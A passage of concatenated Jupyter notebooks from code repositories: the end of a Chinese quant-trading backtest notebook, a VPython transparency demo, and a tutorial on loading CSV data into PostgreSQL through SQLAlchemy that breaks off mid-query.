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\ntSxe3JoX5ue1lp09uz133z12f8B28aqV605fq2P5b/KrZzyjsQUBAGNCS0dHR0M2XEo5K8mtVVVd\n3nn/nqqqntZ5+/VJ5lVVdXTn/auSnJbk4s7p95VSdkpyWlVVr2tIgQDAmNPSkvkdHTm5UcuPJi3/\n/d/zO+bOrf9YDHB5AGB8auTXcLck2TtJSim7JVnUbd6PkryilDKllLJ5kuclubP7Oklemx6XxwQA\n2LiBhkJjNURKkoGGQkIkAKCORo5IWv+rbTsmaUnyjqwLiRZXVXVt56+2vSvrwqyPV1V1RSnlyUm+\nnGRGkvuTHFRV1fKGFAgAAADAgDQsSAIAAABgbBm7V5gEAAAAYEgJkgAAAACoRZAEAONUKaWl2TUA\nADC6CJIYdj64jB2llJZSysT1t5tdD1BfKWVCkqnNroPh4T16bOv8ezxh/e1m18PA6bexq/vrk7Gj\nlDKplPKMZtfRLC62TcOVUo7Mul/vu7uqqrObXQ9Do5RyVJKXJfld1v3y4soml8QQ6zyo3SbJKUne\nX1XV0uZWxFDp/OXU/ZP8IcllSW6qqsoBwRhTSnl+kvdUVXV0s2uhcUop70ryqiRVklOrqnq0ySVR\nQ+fx8fOT3F5V1SXNroeh13kc9awkZyc5uaqqnzW5JIZIKeWQJEckubSqqgubXU8zGJFEQ5RSWjv/\nf0eSfZOcmeQlpZQTSilPampxDFop5eVJXpt1AcNTk5xYStmxqUUx5DqDhWclOTjr+psxoJTy6iR7\nJzkq64Lg1yeZ6tvwsWGDfnx+kneVUl7ROc9x3xjR7Tjr/yX5pyQfzbovdz7SOd3reQTq1m/vSbJn\nkkuTHNoZ7uu3MaJzBFJL53HUlKz7Qv0fSyltTS6NQSiltJZSJpdSPpNkbpK9q6q6cP3rdry9fh1Q\nMORKKbOSTOq8+7wkt1ZV9ZusO7h5a5LdHcyOPqWU6aWUKZ1390jyu85+PSVJS5KXl1KmNas+hkZn\nP0/uvD01ySuSfDHJQaWUpze1ODbZBq/f1yX5RVVVv0/yrSS7JFlpRNLoV0qZ0e32U7LuvfrCzn+p\nqqq9SaUxhDr7ef0Hlu2SXFNV1d1JPpnkGd0+wDKCdH99Zl3Ie01VVT9Kcl2StaWUSfpt9Fvfz936\n8jlJbk1Skmy9/hiL0aVbv65KsjrJg0n+tZTy7SRXl1LKeHv9+jDPkCqlfDDJNUlOLaUcmOSWJE8q\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c1fb14b00>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "ABuMarketDrawing.plot_candle_from_order(abu_result_tuple.orders_pd.head(2))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "下面切换到a股市场进行回测，可以看到由于策略的苛刻条件导致交易数量进一步降低：" ] }, { "cell_type": "code", "execution_count": 51, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:4\n", "买入后尚未卖出的交易数量:0\n", "胜率:75.0000%\n", "平均获利期望:10.7491%\n", "平均亏损期望:-16.4931%\n", "盈亏比:3.0674\n", "所有交易收益比例和:0.1575 \n", "所有交易总盈亏和:67898.0000 \n" ] } ], "source": [ "abu_result_tuple, metrics = run_loo_back(cn_choice_symbols, only_info=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### abu量化文档目录章节\n", "\n", "1. [择时策略的开发](http://www.abuquant.com/lecture/lecture_1.html)\n", "2. [择时策略的优化](http://www.abuquant.com/lecture/lecture_2.html)\n", "3. [滑点策略与交易手续费](http://www.abuquant.com/lecture/lecture_3.html)\n", "4. [多支股票择时回测与仓位管理](http://www.abuquant.com/lecture/lecture_4.html)\n", "5. [选股策略的开发](http://www.abuquant.com/lecture/lecture_5.html)\n", "6. [回测结果的度量](http://www.abuquant.com/lecture/lecture_6.html)\n", "7. [寻找策略最优参数和评分](http://www.abuquant.com/lecture/lecture_7.html)\n", "8. [A股市场的回测](http://www.abuquant.com/lecture/lecture_8.html)\n", "9. [港股市场的回测](http://www.abuquant.com/lecture/lecture_9.html)\n", "10. [比特币，莱特币的回测](http://www.abuquant.com/lecture/lecture_10.html)\n", "11. [期货市场的回测](http://www.abuquant.com/lecture/lecture_11.html)\n", "12. [机器学习与比特币示例](http://www.abuquant.com/lecture/lecture_12.html)\n", "13. [量化技术分析应用](http://www.abuquant.com/lecture/lecture_13.html)\n", "14. [量化相关性分析应用](http://www.abuquant.com/lecture/lecture_14.html)\n", "15. [量化交易和搜索引擎](http://www.abuquant.com/lecture/lecture_15.html)\n", "16. [UMP主裁交易决策](http://www.abuquant.com/lecture/lecture_16.html)\n", "17. [UMP边裁交易决策](http://www.abuquant.com/lecture/lecture_17.html)\n", "18. [自定义裁判决策交易](http://www.abuquant.com/lecture/lecture_18.html)\n", "19. [数据源](http://www.abuquant.com/lecture/lecture_19.html)\n", "20. [A股全市场回测](http://www.abuquant.com/lecture/lecture_20.html)\n", "21. [A股UMP决策](http://www.abuquant.com/lecture/lecture_21.html)\n", "22. [美股全市场回测](http://www.abuquant.com/lecture/lecture_22.html)\n", "23. [美股UMP决策](http://www.abuquant.com/lecture/lecture_23.html)\n", "\n", "abu量化系统文档教程持续更新中，请关注公众号中的更新提醒。\n", "\n", "#### 《量化交易之路》目录章节及随书代码地址\n", "\n", "1. [第二章 量化语言——Python](https://github.com/bbfamily/abu/tree/master/ipython/第二章-量化语言——Python.ipynb)\n", "2. [第三章 量化工具——NumPy](https://github.com/bbfamily/abu/tree/master/ipython/第三章-量化工具——NumPy.ipynb)\n", "3. [第四章 量化工具——pandas](https://github.com/bbfamily/abu/tree/master/ipython/第四章-量化工具——pandas.ipynb)\n", "4. [第五章 量化工具——可视化](https://github.com/bbfamily/abu/tree/master/ipython/第五章-量化工具——可视化.ipynb)\n", "5. [第六章 量化工具——数学：你一生的追求到底能带来多少幸福](https://github.com/bbfamily/abu/tree/master/ipython/第六章-量化工具——数学.ipynb)\n", "6. [第七章 量化系统——入门：三只小猪股票投资的故事](https://github.com/bbfamily/abu/tree/master/ipython/第七章-量化系统——入门.ipynb)\n", "7. [第八章 量化系统——开发](https://github.com/bbfamily/abu/tree/master/ipython/第八章-量化系统——开发.ipynb)\n", "8. [第九章 量化系统——度量与优化](https://github.com/bbfamily/abu/tree/master/ipython/第九章-量化系统——度量与优化.ipynb)\n", "9. [第十章 量化系统——机器学习•猪老三](https://github.com/bbfamily/abu/tree/master/ipython/第十章-量化系统——机器学习•猪老三.ipynb)\n", "10. [第十一章 量化系统——机器学习•ABU](https://github.com/bbfamily/abu/tree/master/ipython/第十一章-量化系统——机器学习•ABU.ipynb)\n", "11. [附录A 量化环境部署](https://github.com/bbfamily/abu/tree/master/ipython/附录A-量化环境部署.ipynb)\n", "12. [附录B 量化相关性分析](https://github.com/bbfamily/abu/tree/master/ipython/附录B-量化相关性分析.ipynb)\n", "13. [附录C 量化统计分析及指标应用](https://github.com/bbfamily/abu/tree/master/ipython/附录C-量化统计分析及指标应用.ipynb)\n", "\n", "[更多阿布量化量化技术文章](http://www.abuquant.com/article)\n", "\n", "\n", "更多关于量化交易相关请阅读[《量化交易之路》](http://www.abuquant.com/books/quantify-trading-road.html)\n", "\n", "更多关于量化交易与机器学习相关请阅读[《机器学习之路》](http://www.abuquant.com/books/machine-learning-road.html)\n", "\n", "更多关于abu量化系统请关注微信公众号: abu_quant\n", "\n", "" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.2" }, "widgets": { "state": { "c0b89918956049b1bf85daea466051be": { "views": [ { "cell_index": 5 } ] } }, "version": "1.2.0" } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-3.0

sspickle/vpython-jupyter

Demos/Transparency.ipynb

1

3645

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [ { "data": { "application/javascript": [ "require.undef(\"nbextensions/jquery-ui.custom.min\");" ], "text/plain": [ "<IPython.core.display.Javascript object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "require.undef(\"nbextensions/glow.2.1.min\");" ], "text/plain": [ "<IPython.core.display.Javascript object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "require.undef(\"nbextensions/glowcomm\");" ], "text/plain": [ "<IPython.core.display.Javascript object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "require([\"nbextensions/glowcomm\"], function(){console.log(\"glowcomm loaded\");})" ], "text/plain": [ "<IPython.core.display.Javascript object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "<div id=\"glowscript\" class=\"glowscript\"></div>" ], "text/plain": [ "<IPython.core.display.HTML object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "window.__context = { glowscript_container: $(\"#glowscript\").removeAttr(\"id\")}" ], "text/plain": [ "<IPython.core.display.Javascript object>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from vpython import *\n", "scene.width = 600\n", "scene.height = 600\n", "scene.background = color.gray(0.9)\n", "scene.range = 1.3\n", "s = 'Pixel-level transparency using \"depth-peeling.\"\\n'\n", "s += \"Note the correct transparencies of the intersecting slabs.\\n\"\n", "scene.title = s\n", "\n", "box(pos=vec(0,0,0), opacity=1, size=vec(1,1,1), texture=textures.flower)\n", "sphere(pos=vector(0,0,.9), opacity=0.3, shininess=0, radius=0.2, color=color.green)\n", "s = sphere(pos=vector(0.1,0,1.2), opacity=0.2, shininess=0, radius=0.1, color=color.cyan)\n", "box(pos=s.pos, size=0.06*vector(1,1,1), color=color.gray(.2))\n", "box(pos=vector(0,.5,1), color=color.red, opacity=0.2, size=vector(.05,.2,.8), axis=vector(1,0,1) )\n", "box(pos=vector(0,.5,1), color=color.cyan, opacity=0.2, size=vector(.05,.2,.8), axis=vector(1,0,-1))\n", "\n", "scene.caption = \"\"\"Right button drag or Ctrl-drag to rotate \"camera\" to view scene.\n", "To zoom, drag with middle button or Alt/Option depressed, or use scroll wheel.\n", " On a two-button mouse, middle is left + right.\n", "Touch screen: pinch/extend to zoom, swipe or two-finger rotate.\"\"\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "VPython", "language": "python", "name": "vpython" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

trangel/Insight-Data-Science

general-docs/python_sql_dev_setups.ipynb

1

34471

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Dev Setups -- Connecting Python and SQL\n", "\n", "The purpose of this IPython notebook is to demonstrate the usefulness of connecting python to a relational database by using a python toolkit called SQLAlchemy." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "***First off, what is a relational database?***\n", "\n", "Basically, it is a way to store information such that information can be retrieved from it.\n", "\n", "MySQL and PostgreSQL are examples of relational databases. For the purposes of an Insight project, you can use either one.\n", "\n", "Why would you use a relational database instead of a csv or two?\n", "\n", "**A few reasons:**\n", "\n", "- They scale easily\n", "\n", "- They are easy to query\n", "\n", "- It’s possible to do transactions in those cases where you need to write to a database, not just read from it\n", "\n", "- Everyone in industry uses them, so you should get familiar with them, too.\n", "\n", "\n", "\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "***What does a relational database look like? ***\n", "\n", "We can take a look. First we need to set up a few things. The first thing we want to do is to get a PostgreSQL server up and running. Go to http://postgresapp.com/ and follow the three steps listed in the Quick Installation Guide. (If you aren't running a Mac, you can download PostgreSQL at http://www.postgresql.org/) \n", " -- you can also use homebrew, but your path will change below --\n", "\n", "If you are running Linux a Fellow just posted install directions here: https://gist.github.com/mskoh52/a01d1af3acae43c2c341101a28e504be\n", "\n", "We'll come back to PostgreSQL in a moment. First, we'll set up SQLAlchemy. Go ahead and try to implement the following." ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "## Python packages - you may have to pip install sqlalchemy, sqlalchemy_utils, and psycopg2.\n", "from sqlalchemy import create_engine\n", "from sqlalchemy_utils import database_exists, create_database\n", "import psycopg2\n", "import pandas as pd" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**If working in an anaconda environment, we recommend using their install**\n", "\n", " conda install psycopg2\n", "\n", "**If you have trouble installing psycopg2 and get the error \"pg_config executable not found\", try adding \"/Applications/Postgres.app/Contents/Versions/9.6/bin\" to your PATH by typing the following in your terminal (you may have to check your version number):**\n", "\n", " export PATH=\"/Applications/Postgres.app/Contents/Versions/9.6/bin:$PATH\"\n", "\n", "**Then try installing again:**\n", "\n", " pip install psycopg2\n" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "#In Python: Define a database name (we're using a dataset on births, so I call it \n", "# birth_db), and your username for your computer (CHANGE IT BELOW). \n", "dbname = 'birth_db'\n", "username = 'rangel'" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Start your postgresql server\n", "\n", "**There are multiple ways to launch a postgres server:**\n", "\n", "1) Launching Postres.app from LaunchPad will automatically start a server. In Mac OS, you should see an elephant icon in the upper right corner.\n", "\n", "2) Launch from the terminal with the following command (CHANGE USER NAME):<br>\n", "\n", " postgres -D /Users/rockson/Library/Application\\ Support/Postgres/var-9.6\n", " \n", "3) Have launchd start postgresql at login:<br>\n", "\n", " ln -sfv /usr/local/opt/postgresql/*.plist ~/Library/LaunchAgents\n", "\n", "Then to load postgresql now: <br>\n", "\n", " launchctl load ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Create a database" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "postgres://rangel@localhost/birth_db\n" ] } ], "source": [ "## 'engine' is a connection to a database\n", "## Here, we're using postgres, but sqlalchemy can connect to other things too.\n", "engine = create_engine('postgres://%s@localhost/%s'%(username,dbname))\n", "print (engine.url)" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "True\n" ] } ], "source": [ "## create a database (if it doesn't exist)\n", "if not database_exists(engine.url):\n", " create_database(engine.url)\n", "print(database_exists(engine.url))\n" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# read a database from CSV and load it into a pandas dataframe\n", "birth_data = pd.DataFrame.from_csv('births2012_downsampled.csv')" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": true }, "outputs": [], "source": [ "## insert data into database from Python (proof of concept - this won't be useful for big data, of course)\n", "birth_data.to_sql('birth_data_table', engine, if_exists='replace')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The above line (to_sql) is doing a lot of heavy lifting. It's reading a dataframe, it's creating a table, and adding the data to the table. So ** SQLAlchemy is quite useful! **" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### How this works outside of python:\n", "\n", "** open up the PostgreSQL app, click on the \"Open psql\" button in the bottom right corner, ** <br>\n", "or alternatively type <br>\n", "\n", " psql -h localhost\n", "\n", "into the command line " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Connect to the \"birth_db\" database we created**\n", "\n", " \\c birth_db\n", "\n", "**You should see something like the following**\n", "\n", "`You are now connected to database \"birth_db\" as user \"rockson\".`\n", "\n", "\n", "**Then try the following query:**\n", "\n", " SELECT * FROM birth_data_table;\n", " \n", "Note that the semi-colon indicates an end-of-statement." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### You can see the table we created! But it's kinda ugly and hard to read." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Try a few other sample queries. Before you type in each one, ask yourself what you think the output will look like:**\n", "\n", "`SELECT * FROM birth_data_table WHERE infant_sex='M';`\n", "\n", "`SELECT COUNT(infant_sex) FROM birth_data_table WHERE infant_sex='M';`\n", "\n", "`SELECT COUNT(gestation_weeks), infant_sex FROM birth_data_table WHERE infant_sex = 'M' GROUP BY gestation_weeks, infant_sex;`\n", "\n", "`SELECT 